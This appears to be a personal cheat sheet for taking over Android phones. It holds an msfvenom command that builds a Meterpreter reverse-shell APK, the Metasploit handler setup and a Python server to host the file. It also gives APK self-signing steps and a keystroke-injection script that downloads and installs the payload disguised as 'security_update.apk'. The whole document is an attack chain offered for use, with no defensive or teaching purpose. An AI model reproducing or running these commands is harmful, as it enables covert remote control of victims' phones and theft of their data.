Android Hackfuckin

Meterpreter

msfvenom --payload android/meterpreter_reverse_tcp LHOST=10.0.0.51 LPORT=443 R > rawdoggin_output.apk

Msfconsole

sudo msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter_reverse_tcp
msf exploit(handler) > set lhost 10.0.0.51
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit -j

Python Shitfuckery

python -m http.server 8787

Self Sign an apk

Install tools

1. sudo apt update
2. sudo apt install apktool gnupg2 android-tools-adb default-jdk -y

Create Signing Key

• keytool -genkey -v -keystore android.keystore -alias android -keyalg RSA -keysize 2048 -validity 10000

Sign Apk

• jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore android.keystore my_app.apk android

Some Shit

TAB
DELAY 250
GUI b
DELAY 800
CTRL SHIFT n
DELAY 500
CTRL l
DELAY 1000
STRING 192.168.4.4:9002/security_update.apk
ENTER
DELAY 7000
TAB
TAB
DOWN
RIGHT
ENTER
DELAY 1000
TAB
ENTER
TAB
TAB
RIGHT
ENTER
TAB
ENTER
TAB
ENTER
DELAY 2000
TAB
ENTER
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
DELAY 350
TAB
ENTER
DELAY 350
ENTER